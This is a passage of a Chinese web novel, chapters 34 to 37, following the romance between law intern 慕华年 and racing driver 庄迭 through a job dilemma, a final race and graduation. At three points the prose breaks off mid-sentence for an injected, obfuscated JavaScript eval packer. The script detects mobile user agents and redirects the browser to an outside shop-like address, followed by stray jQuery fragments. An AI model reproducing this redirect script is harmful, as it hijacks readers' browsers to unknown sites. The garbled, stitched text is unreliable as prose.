“好看吗?”他和慕华年一起种的小雏菊开花了,庄迭拍了张照片发过去,“我听话了,早上写了三个小时论文,现在来花园看花,保护眼睛。” 发完消息,庄迭坐在竹椅上发呆。但那条消息一直没收到回复,慕华年看到的时候已经是晚饭了。 “今天出了趟短差,白天没看手机,刚下班。”慕华年发完微信,看见对话框上方一直显示“对方正在输入中”。等了一会儿,庄迭还是没把消息发过来,他索性打了个视频电话。 “想说什么就直接说吧。” “也没什么。” 视频里的庄迭穿着灰色衬衫外套,头发湿漉漉地贴在额头上,像是刚洗完澡。慕华年看着他委屈的样子,嘴角微微上扬,“明天周五,我下班就回家。” “别折腾了,我去找你。” “你就不折腾了?” 庄迭不说话了。从接通到现在,他一直没看屏幕里的人,可他的情绪慕华年一览无余。 “庄迭,看着我。” 慕华年刚走出办公大楼,在路边长椅坐下。瞧见庄迭应声抬头,眼睛里星光熠熠。 “有件事我想提前跟你说。” 庄迭突然紧张起来,不自觉地握紧手机,小声嘟囔:“又怎么了?” “我可能留不下来。” 在国际法庭实习一个月了,慕华年大部分时间都在各个项目组打杂。他做事认真踏实,每个人对他的评价都不错,但想通过实习留下的人不在少数。慕华年的经历和人脉毫无优势,学历和努力只能帮他走到这一步。 下午组长找他谈话,问他想不想外派。如果愿意去叙利亚或雅加达待三年,服务期满可以给他转正。 但那是三年。慕华年最后没给出明确答复。他把这些都告诉了庄迭,顿了顿又说:“我性格不好,不爱社交,在国内错过了很多活动,简历不算漂亮。来荷兰后大多时间也都待在学校,要不是教授帮忙,我可能连这份实习都找不到。” 慕华年说这些时低着头,不知道是对自己失望,还是不敢面对庄迭。 “那你喜欢那儿的工作氛围吗?” 庄迭的关注点不在慕华年的意料之中。他抬头看了眼屏幕里的人,一时说不出话。 “如果待着不舒服就回家,如果真喜欢就去雅加达,”庄迭摩挲着手机边框,像是真的在认真思考这件事,“叙利亚还是不太安全。” “庄迭,三年很久的。” 慕华年叹了口气,勉强笑了笑,“我也不是非要在那儿,荷兰的国际组织多,实在不行我去投私企。” 话说到这儿,一切都清楚了。 庄迭盯着屏幕上的人,强忍住立刻去找他的冲动,“所以你去实习是为了我?” 慕华年没回答,但他的反应说明了一切。庄迭坐在小花园里,开着天幕,四周的风吹得他浑身冰凉,过了好一会儿才开口,“慕华年,这个问题困了你多久?” 庄迭还记得那顿饭,记得自己开玩笑说的话。但他是在开玩笑,慕华年却当真了。 那天晚上,庄迭用一句“你舍得让我遗憾吗”换来了慕华年的不舍得。但困扰慕华年的问题并没有消失,反而因为关系更进一步而变得更迫切。 遇见庄迭之前,他没什么理想,一切都得过且过。他只是做到了自己能做的,却不知道为什么做,也没想从中得到什么。 现在不一样了,他想要一个具体的、能一步一步和庄迭走到白头的未来。 直到此时,慕华年的种种欲言又止都真相大白。 “庄迭,我不想随便和你玩玩。” “我知道。” 庄迭到了嘴边的话被堵了回去。他顿了顿,知道有些话必须说,而现在就是最好的时机。 “慕华年,这是我们的未来对吗?你已经尽力了,现在轮到我了。” 或许正是这短暂的分离,让庄迭意识到自己完全受不了异地恋,一天都不能。 所以在慕华年为这些事失眠的夜晚,庄迭也为此和路远舟大吵一架,快一个月没联系了。 “不儿,你疯了吗?”那天路远舟的声音劈头盖脸砸过来,“六月毕业,七月公司挂牌,十月新车上市,这不是我们原来的计划吗?” “是,”庄迭抿了抿嘴,“这些你一个人也能做。” “嗯?什么意思?散伙了?” 路远舟被气笑了,深吸几口气冷静下来,好声好气地说:“行,我知道你好不容易遇到个真心喜欢的,难免冲动。但庄迭你自己甘心吗?做这个方案的时候你是怎么说的?” 那时十九岁的庄迭打印出他们的第一份企划书,双手捧到路远舟面前,说:“我想赢一回,活得像个人,活得像我自己,活得像真正的庄迭。” 这话路远舟一直记得。所以不管这几年过得多么艰难,他从来没想过退出。 到头来是庄迭撂挑子不干了。 “我只是回国,没说散伙,”庄迭自知理亏,气势弱了下去,“我会负责到底的,有需要我随时飞回来。所有工作都不会耽误,每次数据出来让颜桥建个模发我,我……” “庄迭,值得吗?” 路远舟打断他,直接挂了电话。 从那以后路远舟故意躲着庄迭,不管在学校还是实验室。小组其他成员看出他们不对劲,颜桥小心翼翼试探过,却在路远舟那儿碰了一鼻子灰,“干吧,能干多少干多少,说不定明天团队就解散了。” 这是路远舟的原话,颜桥绘声绘色转述给庄迭。他听完只是笑笑,继续按部就班做研发测试、联系投资人、商量发布会场地,做所有他能做的事。 至于值不值得,庄迭始终没有回答。 “慕华年,”电话那头又传来庄迭的声音。他没提自己和路远舟的争吵,此刻他已经得到了那个问题的答案,“好好洗个澡,好好吃顿饭,然后好好睡一觉,好吗?” 庄迭笑着说完,嘴唇在摄像头前轻轻一吻,随即挂断了视频。通话时长定格在20分39秒。 那天晚上两个人都没睡着。话没说透,变成了一把达摩克利斯之剑悬在他们中间。 慕华年早上去上班时,在电梯里遇见了组长Dora。两人不算熟络地点了点头,甚至有点尴尬。Dora是个比他大三岁的亚裔女孩,但她更喜欢别人叫她的中文名,从莱。 “昨天没睡好?” 从莱提着家里阿姨做的早餐,摸了摸背包侧面的水杯递过来,“缅甸咖啡,劲儿大。今天的会挺重要的,你别掉链子。” 慕华年摇摇头拒绝了,后退一步靠在电梯边上。 “你不能因为我表白过一次,就拒绝我所有好意吧。”从莱一动不动盯着慕华年说。 从莱在慕华年来这的一周后就表白了,然后被果断地拒绝。 “对不起,我有男朋友了。” “哦,没事,你……等等,你有什么了?” 从莱在美国长大,毕业后直接入职国际法庭,人生一路顺风顺水,直到遇见慕华年。她没想到怎么看怎么像直男的人会用这么蹩脚的理由拒绝她。 但人家都这么说了,再追问就显得自己很没品,而且还容易被认为存在歧视。从莱没再细问,一笑而过。 “慕,”从莱再次开口,“不管那天你说的是真是假,我昨天的建议和今天的咖啡,你都可以当成朋友的关心,甚至是上司的提点。我不会对拒绝我的人再有想法。” 从莱用一天时间消化了失败的表白,第二天见面就像没事人一样和慕华年打招呼。慕华年微微点头,问她自己需不需要申请调组。 被拒绝都没黑脸的从莱,因为这句话生气了。她严肃地告诉慕华年:“我不会因为喜欢你给你打高分,也不会因为被拒绝为难你,这都是不专业的表现。你可以不喜欢我,但请不要侮辱我。” 从莱确实很专业,慕华年跟着她这一个月学到了很多。 “对不起Dora,我只是不习惯喝咖啡。我有失眠症,喝咖啡会加重。” 慕华年如实解释,从莱表情缓和了些。电梯门打开,她先出去等在门口,和慕华年并肩走进办公室。 “那昨天的建议考虑得怎么样?” “抱歉。” 从莱没再劝他,她知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111630|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道慕华年是什么样的人。 中午吃饭时,早上的会议刚结束。从莱说会议重要,前提是她以为慕华年会接受外派。既然他毫不犹豫地拒绝了,那这个会议就和他关系不大了。 从莱在讨论前把慕华年的简历从PPT里删掉,在会上推荐了另一个俄罗斯留学生去叙利亚。那姑娘拿到offer时喜形于色,会议结束就想拉从莱去吃饭。 “慕,你等一下。” 从莱婉拒了姑娘的好意,主动提出下周三给她饯行。姑娘很识趣,看出两人有话要说,高高兴兴答应了。 “您说。” 慕华年客气地点头。昨晚基本没睡,他现在魂不守舍的。 “为什么想留在荷兰?又为什么拒绝我的建议?你可以不回答,我只是好奇。” “为什么好奇?”慕华年笑了笑,走到饮水机旁接了杯冰水。 “你是个没有欲望的人,我很好奇是什么激发了你?” 从莱目光直接,她斜靠在墙边,双手抱胸。她对慕华年的探索欲不止源于欣赏。 “您这是在做心理学研究,还是在研究我?” 慕华年明白她的意思。从莱是Yale心理学博士,慕华年入职前的培训和测试都是她负责的。他知道从莱不是想问出什么,而是在揣着答案找问题。 从莱笑了笑,“如果你需要,可以是前者。” 慕华年笑着摇摇头作为回答。他觉得该说的都说了,他并不习惯于和旁人袒露心声。 从莱无所谓地耸耸肩,说:“走吧,一楼新开了家中餐厅,你请我吃饭?虽然没帮上忙,但好意不能只心领吧。” 两个人下了楼,扑面而来的春风恣意又温暖。慕华年穿着棕色风衣,风吹来时他收紧了两侧的腰带。 从莱找了个靠窗的位置。慕华年示意她点单,从莱用中文向服务员要了两盘饺子。慕华年点头表示没意见。 这是从莱第一次说中文,居然没有口音,慕华年甚至听出点西北方言的味道。 “我家是陕西的,至少我爸祖籍是。” 从莱看出慕华年的疑惑,解释道。慕华年点了点头,“很巧,我家也在西北。” “不过我没回去过。我爸和爷爷奶奶关系不好,出来后就再没联系。” 慕华年端起杯子喝水,从莱明白他礼貌地终止了对她的了解。 慕华年边界感太强了。从莱端着杯子看他,越来越好奇他口中的男朋友。 不一会儿饺子上来了,慕华年的电话也响了。 “方便吗?” 从莱抬了抬手,起身去调蘸料。慕华年接起电话,声音柔和了些,“吃了吗?” “没有,想吃饺子。” 音画是同步出现的。慕华年转头,看见庄迭笑着他站在身后,问:“可以吗?” 从莱回来时,慕华年身边坐了个漂亮的男生。她很少用“漂亮”形容人,但眼前这个确实明丽鲜艳,配得上这个词。 庄迭出门前特意卷了头发,默契地和慕华年穿了同色风衣,只不过他内搭是圆领T恤,而慕华年是一丝不苟的衬衣。 “介绍一下,我男朋友,庄迭。” 从莱了然地笑了,“现在我知道你为什么要留下了。” 两人打哑谜,庄迭就安静地坐在那吃饺子。慕华年当天就告诉过他被自己表白的事情,但今天见到两人一起吃饭,他心里还是有点不是滋味。 “Dora是吗?您可以叫我Ash。” 庄迭放下筷子,正式地伸出手。从莱笑着摇摇头,勉强和他握了一下,“不用这样。被拒绝的人有自知之明,你们很般配。” 庄迭眼神闪烁,不知道哪个字眼触动了他,他回道:“谢谢您这段时间对他的照顾,也谢谢您给他外派的机会。” “可惜他拒绝了。” 两个人的目光同时聚焦在慕华年身上。慕华年没抬头,夹起饺子蘸了蘸醋碟,“早上刚开完会,还没来得及给你说。” “咳,”从莱挑眉,看出眼前的两个人有不同想法。她起身拿了个打包盒,将剩下的饺子装进去,对慕华年笑笑,说:“记得买单。” 从莱走后,两个人都沉默了。庄迭开玩笑说:“所以你才是男女通吃啊。颜桥说得对,我真得既防男也防女了。” “庄迭,你再给我一点时间好不好?” 35. 第 35 章 “我不是来逼你的。” 庄迭低头继续吃饭,但握筷子的手不自觉地收紧了。慕华年伸手覆在他手背上,“我知道。你只是想我了。” 手机震动了一下,慕华年看了眼,是从莱发来的短信:“下午给你放假,周一准时回来上班。记住,三个月实习期必须做满,否则对履历不好。” “好的,谢谢。” 慕华年单手回了消息,转头看向庄迭,“我们早点回家吧。我想抱着你睡会儿,我真的好困好困。” 慕华年的撒娇百年难遇,每次遇到庄迭都难逃一劫。他轻叹一声,把醋碟往慕华年面前推了推,“先吃点再睡。” “好。”慕华年坐直身子,吃饭时眼睛都快闭上了。庄迭忍不住笑了,又叫服务员加了一碗面。慕华年不在家时,他吃早餐的习惯就断了,现在确实有点饿。 “下周末你能正常休息吗?” 庄迭一边问,一边把盘子里的饺子摆整齐。慕华年看着他的小动作,轻笑着回:“要请我看比赛?我特意留了时间。再说现在不打算留用了,请假也行。” “你喜欢这里吗?”庄迭又问了一遍。 慕华年还是没有立刻回答。从他坐的位置望出去,能看到国际法的殿堂。他来这里,最初就是想看看这几栋楼。 “我还没资格谈喜欢。”慕华年淡淡地说。 庄迭没再追问。吃饭时他用余光观察着慕华年,对方吃了几口就靠在椅背上,头歪向一边,像是睡着了。 但庄迭觉得慕华年没睡,也没说实话。他盯着慕华年看了会儿,第一次觉得自己好像有些看不懂他。 闭着眼的慕华年确实没睡。 那天庄迭挂断电话后,他在椅子上坐了很久,等到整栋楼的人都走光了,给路远舟打了个电话。 “喂。”路远舟语气不算友好,看到是慕华年打来的,犹豫了一下才接。 “庄迭和你说什么了吗?”慕华年问。 “你觉得他该跟我说什么?” 慕华年是聪明人,路远舟知道他打来就是想确认。其实他心里早就有答案了。 “我可能要回国,留下的难度比我想象中大。” 电话那头沉默着,慕华年继续说:“说实话,我来荷兰就是想透口气。来之前没打算留下,所以什么都没准备。一年时间太短,来不及……” “慕华年,这些不用跟我说。” 路远舟话说到一半,颜桥在旁边问公司资质办下来没有。慕华年听见路远舟回答:“办好了,按计划推进。” “慕华年,”路远舟继续说,“庄迭为这个公司付出太多了。” “我知道。” “这是他人生第一个梦想。” “我知道。” “那你别让他赌输了。” 电话两头都沉默了。很久后,路远舟清了清嗓子,说:“就算他不在荷兰,这个项目也会继续。他本来没打算走到台前,身份不方便。” 路远舟顿了顿,似乎在斟酌用词,最后叹了口气,“所以现在你明白我在担心什么了吧?” “我知道。” 庄迭要放弃的不是一个项目,而是他原本稳定的人生——这里有他的朋友、事业,还有陪他长大的人。这些慕华年都懂。 “说来好笑,他二十多的男人了,离不开人,”路远舟声音哽了一下,没再说下去,换了话题,“你今天打来想让我做什么?你知道的,庄迭决定的事没人能改变。” “你别跟他生气了。我最近上班他联系不上我,他只有你能说说话。” “那是你男朋友,”路远舟笑了,“行,知道了。” “路远舟,”慕华年难得连名带姓地叫他,“谢谢。” 电话挂了,慕华年醒了,庄迭的饭吃完了。 “走吧,回家。” 接下来的一周,谁都没再提未来。他们的生活只剩下对话框里的一日三餐。 周五晚上,车队在阿姆斯特丹集合。为了保持状态,庄迭特意和慕华年开了两间房。 “我去睡了?” 庄迭站在自己房门口,探出半个脑袋。慕华年站在隔壁门边,点头说:“嗯,晚安。” “不挽留我一下?” 慕华年笑了没接话,关门时却留了条缝。没过多久,黑暗中有人爬上了他的床。 “你怎么不关门呢?不怕有人起歹意?” 耳边的声音带着潮气。慕华年忍着笑,说:“关门了,歹人就进不来了?” “那可不一定,想进总有办法。” “庄迭,”慕华年翻身,两人在一瞬间交换呼吸,“你怎么就这么离不开我?” “我也不知道,我以前真不这样。” 庄迭说得很认真,让慕华年都不忍心逗他了。他伸手让庄迭靠过来,轻声说:“睡吧。离不开就不离开。” 夜色静静流淌。慕华年抱着庄迭看了很久。说实话,他比庄迭还担心明天的比赛。 不过该来的总会来。早上慕华年醒来时,庄迭已经不在房间了。他去敲隔壁的门,看见路远舟和庄迭各坐长桌一端,都在看电脑。 路远舟看见慕华年,点了点头,拿手指敲了一下桌子,说:“我这边好了,你呢?” 庄迭头也没抬,“好了。” 在这之前,庄迭已经一个月没和路远舟说过话了。当然,路远舟也没理他。 三个人出了门步行到比赛场馆,一路上谁也没说话。 这次比赛规格比慕华年上次看的高,场馆也更专业。还没进场就能听见嘈杂的加油声,他们身边时不时有举着应援物的粉丝经过。 慕华年和庄迭在入口分开。可能因为路远舟在,两人只是点了点头。 “这儿!” 慕华年循声找到第一排的位置,看见李家杰身边坐着个女孩。他主动打招呼:“你好。” “终于见到真人了。他经常提起你,谢谢你的票。” 郑荷宜笑得灿烂。她穿着白色连帽卫衣和简单牛仔裤,干净又舒服。 慕华年之前只隔着屏幕见过她,现在线下看的感觉很不一样。李家杰看他坐下,凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111631|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近小声说:“漂亮吧?” 听到他语气里的炫耀毫不掩饰,慕华年笑着点头,“漂亮,比那天手机里漂亮,也比你说的漂亮。” “他怎么形容我的?”郑荷宜听见对话,笑着问。 “你问他吧。” 慕华年没接话,但脸上的笑意藏不住。郑荷宜挑眉看李家杰,问:“说我又作又小姐脾气了?” “我错了。” 李家杰认错干脆利落,堪比他论文致谢里孤零零的“致荷宜”三个字。 “对了,”郑荷宜越过李家杰问慕华年,“你和Ash很熟是吗?” 慕华年看了眼李家杰,想起没跟他说过自己和庄迭在一起了,于是点头,“嗯,他是我男朋友。” “果然,”郑荷宜一副了然的样子,“刚看见你就觉得像。” “像什么?” 郑荷宜拿出手机点了几下递过来,说:“你们前段时间出去玩了吧?” 小小的屏幕上,从去挪威的飞机,到偶遇教堂婚礼,再到极地温泉,最后是那张亲吻的照片——每张里的慕华年都没露正脸,连亲吻也只是隐约出镜。 “我们二月去的,他现在还在发?” 慕华年低头不知道在想什么。郑荷宜笑了一声,说:“Ash发了一个月了。” 一个月。慕华年怔住了。也就是说在他不知道的时候,庄迭拍了他这么多照片,然后在他不在的时候,一个人慢慢看。 这些庄迭从没说过。慕华年不用ins,要不是郑荷宜,他可能永远不会知道。 “进场了,啊啊啊!” 郑荷宜一声惊呼叫醒了慕华年。他抬头,大屏幕上正放着庄迭的镜头——他走在选手通道里,戴着耳麦不知道在和谁说话。镜头扫过N7全员,慕华年耳边充斥着各种夸张的赞美。 其实不算夸张。N7站在那里就是很显眼。每个人脸上都是因年轻而不可掩饰的意气风发。几个风格各异的人在一起却异常和谐。慕华年不自觉勾起嘴角,拿起手机拍下庄迭出场的那一刻。 庄迭穿着新队服,主色调是紫色,背后没有赞助商标,只有一只展翅的蝴蝶,张扬又绚丽。他走着,蝴蝶如影随形,翅膀栩栩如生,纵使在人群中,依旧可以被一眼看到。 似乎被某个镜头盯久了,庄迭抬头望过来。慕华年坐在观众席第一排正中央——这是他以前绝不会选的位置。 隔着整个赛场,在人声鼎沸中,两人的目光短暂相接。慕华年突然后悔最后没抱他一下。 上次的比赛并不愉快,慕华年从昨晚起心就一直悬着。 庄迭不知道想到什么,他没有挥手,没有微笑,甚至没有多余的表情,眉眼间只有严肃和庄重。下一秒,他极轻地点了下头,这个画面被清楚地投在大屏上。 慕华年紧绷的肩线随之下落,往后靠进椅背。李家杰转头时,看到他嘴角挂若有若无的笑意。 “收收吧,口水要流下来了。”郑荷宜说完哈哈大笑,继续盯着自己的偶像。 那些图片,是她第一次见庄迭露出仓皇。 36. 第 36 章 赛场上,五盏红灯同时熄灭。 庄迭的赛车像箭一样冲出去,V6混合动力单元的咆哮声瞬间撕裂空气。随后这辆紫色赛车在直道尽头果断抽头,利用前车的气流在第一个弯道完成漂亮超车,排名从第五直接蹿到第三。 “Ash,胎温还在窗口期内,保持节奏。”耳机里传来赵麟冷静的声音。 庄迭“嗯”了一声,通过方向盘上的按钮快速调整前后刹车比。 赛道上,前车带起的气流让他的车在直道上微微晃动,但他稳稳握着方向盘,眼睛紧盯着前面那辆黑色赛车——那是H4。 第七圈,出事了。 前面一辆哈斯赛车过弯时压上路肩过猛,底盘擦出一串火花,碎片哗啦啦散了一地。 “黄旗,Ash注意避让碎片。”颜桥的声音明显紧张起来。 庄迭皱了皱眉,几乎瞬间就调整了行车线,紫色蝴蝶轻盈地避开了主要碎片区。 “左前胎有轻微振动。”庄迭的声音依然平静。 “数据正常,可能是平衡块脱落,继续观察。” 苏郡清看了回放,发现还是有一小块碳纤维擦过了左轮。 慕华年坐不住了,跟李家杰打了个招呼就走到维修站通道的观赛区。他能看见庄迭头盔下紧绷的下巴,还有那双即使皱着也依旧好看的眼睛。 当解说提到N7赛车压过碎片时,他几乎停止了呼吸。 第十二圈,安全车离场。 重新发车的瞬间,庄迭抓住前车轮胎还没热起来的机会,在进入连续弯道前突然抽头。两辆车并排入弯,轮胎几乎贴在一起,带起的气流让车身剧烈摇晃。 “Ash,保持线路。”苏郡清的声音带着紧张,这画面太熟悉了。 庄迭毫不退让地守住外线,出弯时凭着更早的油门时机完成超越,升到第二。 观众席瞬间爆发出惊呼,慕华年看见庄迭在通过维修站直道时,左手在方向盘上快速操作。 “胎压正常,距离前车1.2秒。你的轮胎比他新五圈。”路远舟的话里没带称呼,但说话时已经站到了数据分析屏的最前面。 比赛进入最后十圈,天空突然飘起细雨。 “所有车手注意,赛道西侧开始降雨。”赛会出示了降雨警示。 庄迭瞥了眼后视镜,后面几辆车已经提前进站换雨胎,但他的车丝毫没有减速的意思。 “庄迭,你的决定?”路远舟的声音出现在耳麦里。 庄迭快速扫了眼方向盘上的天气雷达,“再跑两圈。” 路远舟欲言又止,苏郡清想说话也被他拦住了。他就那么一动不动地盯着屏幕。 当庄迭的赛车驶过潮湿区域时,能明显看出他在弯道里更小心地控制着油门,但干地胎在越来越湿的赛道上显得力不从心。 “庄迭,进站。”路远舟的话简洁明了。 第四十八圈,庄迭驶进维修站。 车刚停稳,颜桥就跪倒在地,赵麟配合她在2.1秒内完成闪电换胎。庄迭出站后依然保持在第二。 最后五圈,雨越下越大。 庄迭的雨胎渐渐达到工作温度,而领先的黑车因为提前换胎,雨胎已经开始衰减。 应该是这样。庄迭轻笑一声,接下来每圈他能追0.3到0.5秒。 “最后两圈,差距0.8秒。”耳机里换成了赵麟。 进入最后一圈,庄迭在高速弯中大胆走线,利用更晚的刹车点不断施压。H4的赛车在压力下开始出现微小失误。 片刻后,黑车轮胎在湿滑路面上轻微打滑,庄迭抓住机会,在大直道末端充分利用DRS系统。两辆车并排冲向终点线,轮胎溅起的水幕遮蔽了视线。 “赢了?” 慕华年往回走时,郑荷宜扶着栏杆朝他喊,声音还在发抖。她看见慕华年点了点头。 慕华年看得很清楚,庄迭的赛车以半个车身的优势率先冲过终点。 与此同时,“赢了,”路远舟的声音在耳机里响起,“庄迭,辛苦了。” 庄迭缓缓把赛车开回维修区,透过被雨水和汗水模糊的面罩,他看见慕华年和队友们站在车队休息室门口。 没有欢呼,没有拥抱,只是静静地站在那里。 当庄迭终于摘下头盔时,他看到慕华年回了他一个轻轻的点头。 “哥,你牛死啦!”苏郡清飞奔过来抱住庄迭,但下一秒就松开手,眨巴着眼睛看慕华年,说:“不好意思。” 慕华年眉眼弯弯地笑了,抬了抬手,“抱吧。” “不抱了不抱了,”苏郡清嘻嘻一笑,转头问庄迭,“那咱晚上还聚餐吗?” “我把钱转给你路哥,让他带你们去行吗?” 庄迭拍了拍苏郡清的头,抬头对上赵麟的目光,笑着收回手。 “别转了,我有钱,” 路远舟说着搂住赵麟和颜桥往回走。他最后那句话说得特别轻,轻到不确定庄迭听没听见。 “路远舟,”庄迭叫住他,盯着他的背影看了一会儿,突然笑了,“辛苦了。” 路远舟没回头,抬手挥了挥,“好好的,走了。” 等庄迭换好衣服出来,慕华年还保持着原来的姿势靠在墙边。场馆里的人都走了,李家杰和郑荷宜过来打了声招呼。 郑荷宜临走时告诉慕华年,Ash不会再上场了。 这是庄迭最后一场比赛。 N7在上年度青训赛后一口气签了三个人,加上已经成熟的苏郡清,庄迭到了该退位让贤的年纪。以后再见,就只能叫一声“庄工”。 庄迭的青春大半都留在了那一圈圈的赛道上,陪伴他的是呼啸的风和永远在那里的终点。 以前站在慕华年这个位置的是张宪。以后他不会再走车手通道,也不会在这里看见那个熟悉的人了。 时间一直在往前走,它不会为任何人停留。 “庄迭,”慕华年抬头看他,走过去帮他把外套领子整理好,“刚才你叫了几次我的名字?” 很多次。轮胎震动时叫了,超车时叫了,下雨时叫了,冲过终点线时也叫了。 庄迭没回答,伸手抓住慕华年的胳膊,上前一步吻了上去。 “慕华年。” “嗯。” “慕华年。” “嗯。” “我数不清我叫了多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111632|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,”庄迭笑着退后一步,“我饿了,慕华年。” 到底是哪里饿了,庄迭自己也说不清。他们匆匆吃了顿简餐就回了酒店。 “你不累吗?” 话是这么问,但慕华年的手已经弄乱了庄迭的头发。他怀里的人闭着眼,小夜灯的光打在他胸口,慕华年仿佛能直接看见那里跳动的心脏。 “累,”庄迭喘着气,睫毛上挂着汗珠,闪着令人移不开眼的光,“可是赢了,不该有奖励吗?” “你这么拼命就为了奖励?主办方能给你多少?” 慕华年故意逗他,看见怀里的人微微一颤,皱了下眉,“够我们去一趟丹麦,再去一趟冰岛了。” “够吗?” 慕华年俯下身问,随之而来的是更远的远方。 “不够。” 怎么会够呢?他们还要一起去更多更多地方。 庄迭再醒来时,发现自己躺在慕华年的房间。他动了动腰,想起昨晚是怎么被慕华年抱着换了床的。 “醒了?”浴室里水声停了,慕华年擦着头发出来,“路远舟他们回去了,早上来打过招呼,看你没醒就没叫你。” “嗯?”庄迭双腿夹着被子,细长的小腿上隐约有几个红印,“你放他们进来了?” “怎么了?”慕华年脸上的笑意更深。 “慕华年,你这么大方吗?” 庄迭用手撑着头,却发现这个姿势对腰非常不友好,于是躺成个“大”字,继续说:“我可以和小姑娘拥抱,可以被其他男人看到,那我还可以干什么?” “你还想干什么?” 慕华年跨过来的时候,头发上的水珠滴进庄迭的眼睛里。他偏过头,用牙轻轻咬了下撑在他脑袋两侧的手。 “想干什么都行?” “你先说说呗?” 庄迭抿着嘴,眼睛越眨越慢,笑着说:“慕华年,你是不是给我下药了?” “怎么,我知法犯法?” 两个人都破了功。慕华年翻身躺在庄迭旁边,不忘伸手把床头柜上的矿泉水递给他。 “放两天假,行不行?”庄迭问。 慕华年没有立刻回答,他勾过手机给从莱发了请假信息。一分钟后收到回复:“准了。” “行。” 庄迭轻笑一声,“要是她不批呢?” “我也就走个流程,爱批不批。” 慕华年像是被庄迭释放了天性。庄迭笑得花枝乱颤,但每笑一下腰腹就跟受刑似的,他没忍住拍了慕华年一下。 “真的很疼。” 旁边的人突然不笑了。庄迭侧头看他,瞧见慕华年一动不动盯着天花板,不知道在想什么。 “庄迭,”慕华年说,“和我在一起后悔吗?” “你吃错药了?” “你原本可以永远留在荷兰,可以不用委屈自己,可以做所有喜欢的事情。” 庄迭顾不上腰疼了,他直起身跪坐在慕华年身上,手指慢慢向下,从锁骨到胸口,再到小腹,最后停在浴巾边缘。 “说实话,我这辈子也没想过,”他弯下腰,趴在慕华年耳边,“我居然会喜欢这种感觉。” 37. 第 37 章 六月的荷兰是什么样子,慕华年不太清楚。 从阿姆斯特丹回来之后,他连庄迭的面都难得见到,更何谈六月的欧陆。 为了让慕华年能提前结束实习回去写论文,从莱在六月初给他安排了个案件管理的活儿。接下来的半个月,慕华年整天埋在文件堆里,只能通过每晚的电话感受心跳的存在。 “笑死了,昨天打完电话忘了充电,教授找我我没接到,他以为我跑了。”电话那头传来庄迭的笑声,还有噼里啪啦的键盘声。 “你们毕业压力这么大,跑了也合理。”慕华年头也不抬地整理证据,“怎么说,跑吗?” “算了,临门一脚了,”庄迭直起腰活动脖子,“我约了七月底答辩。你呢?” “差不多,六月答辩,七月毕业。” TUD的毕业答辩随来随走。庄迭为了能和慕华年同时回国,比赛结束后几乎不出门了,每天的活动范围就限于花园和书房,微信步数从没超过三百。 说起这个时,庄迭正在往眼睛里滴眼药水,他突然想起那天把慕华年堵在楼梯口的场景,忍不住笑了。 慕华年抬头看了他一眼,继续整理文件,余光扫过电脑屏幕上密密麻麻的招聘信息。 从知道自己留不下来那天起,慕华年就开始研究怎么润色简历,怎么丰富实习经历,甚至联系很久没说话的本科同学,问有没有内推渠道。 大学舍友收到他微信时还以为号被盗了——毕竟毕业典礼后,所有人都失去了慕华年的消息。 可奇怪的是,他一个9本欧硕的法学硕士,至今一个offer都没拿到,连面试机会都轮不到他。 “下午吃了吗?”慕华年问。 镜头那端的人把手机放在料理台上,咖啡机开始轰鸣。 “和远舟在学校附近吃的。他今年不毕业,这几天很闲。” 庄迭在冰箱里翻找冰牛奶。最近咖啡因摄入太多,他决定把美式换成拿铁,好歹能补充点蛋白质。 “我是不是打乱你的计划了?” 慕华年停下手中的工作,看着庄迭端着咖啡走向小花园。 电话那头沉默了一会儿,只有风穿过紫藤花架的声音。 “慕华年,我问你个问题。” “你说。” “是不是以后我做的每个选择,你都会觉得是因为你?” 庄迭抱膝缩在竹椅上,脚尖轻轻晃动。看到旁边的紫藤花开了,就顺手拍了张照发给慕华年。 电话那头的人突然说不出话。 庄迭喝了口咖啡,看着慕华年在镜头里苦大仇深的脸,笑了一声,“有没有可能,我成年了,也是正经教育体系培养出来的,我有自己的判断,有自己的考量。” “我知道。” 慕华年说话时依旧低着头。庄迭看着他,说:“你不知道。” 慕华年抬头对上庄迭的眼睛,听见他说:“你还记得我提起我妈的时候,你和我说过什么吗?” “你说,‘不要因为任何人的选择背上不属于你的责任’。这句话,你能做到吗?” 电话的最后,两个人谁也没有再提这件事。庄迭隐约听到慕华年“嗯”了一声,他没有在意。 接下来的一个月,日子一天天过去。明明是正数,却不知怎的变成了倒计时,就像高考前一百天那样。 七月初,慕华年拿到了国际法庭的实习证明,在从莱的强烈要求下加了她的微信。 “我明年就辞职了。”从莱说。 “为什么?” “这里的生活和我想的不太一样,我还是更喜欢心理学的氛围。” 